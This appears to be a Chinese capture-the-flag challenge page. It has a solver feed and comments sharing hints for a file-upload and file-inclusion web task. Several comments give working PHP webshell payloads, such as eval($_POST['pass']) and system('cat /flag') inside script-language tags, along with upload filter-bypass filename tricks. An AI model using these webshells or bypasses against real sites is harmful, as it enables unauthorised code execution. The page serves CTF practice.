评分(5)
解题动态
liutianhao 攻破了该题 5小时前
aaa1 攻破了该题 5小时前
wangheng 攻破了该题 10小时前
Oliver23 攻破了该题 11小时前
daimaojiang 攻破了该题 13小时前
l2 攻破了该题 1天前
easier 攻破了该题 1天前
sdxsdxl 攻破了该题 2天前
17508133836 攻破了该题 2天前
vsk666 攻破了该题 2天前
juedai 攻破了该题 2天前
xiaomiao123 攻破了该题 3天前
YangZoe 攻破了该题 6天前
destiny7v 攻破了该题 6天前
yy_hc 攻破了该题 7天前
yty123 攻破了该题 7天前
2360657787 攻破了该题 7天前
SurPLus007 攻破了该题 7天前
Fengyu3321 攻破了该题 8天前
评论
daimaojiang 13小时前
举报
上传图片马即可。
caicai0728 1月前
举报
解题参考，超详细：https://blog.csdn.net/cai_huaer/article/details/153740286?spm=1001.2014.3001.5501
15105219317 2月前
举报
文件上传成功了，蚁剑也显示连接成功，为啥没数据返回啊
lin666 2月前
举报
文件包含 + 文件上传 （使用非主流的内容写法来绕过常规的内容头替换 <script language="php">system("ls");</script> ）
2686213396 4月前
举报
http://117.72.52.127:18030/index.php?file=file:///flag，file伪协议说是
satuo 5月前
举报
<script language=php>echo 'a'; eval($_POST['pass']);</script>
zhuizhui 5月前
举报
<script language=php>system("cat /flag")</script> webshell.php;.png
leonleonleon 6月前
举报
1.'<'+'?'+'php' 和'>'会被过滤; 2.后缀名会被过滤; 3.用'<' script lanugage=php 后面自己闭合一下，最后文件包含上传获取flag
shingu 8月前
举报
file=/flag，怎么会这么简单？
volnu1l 10月前
举报
新建txt，保存jpg <script language=php>system("ls /flag&&cat /flag")</script> 访问?file=upload/.jpg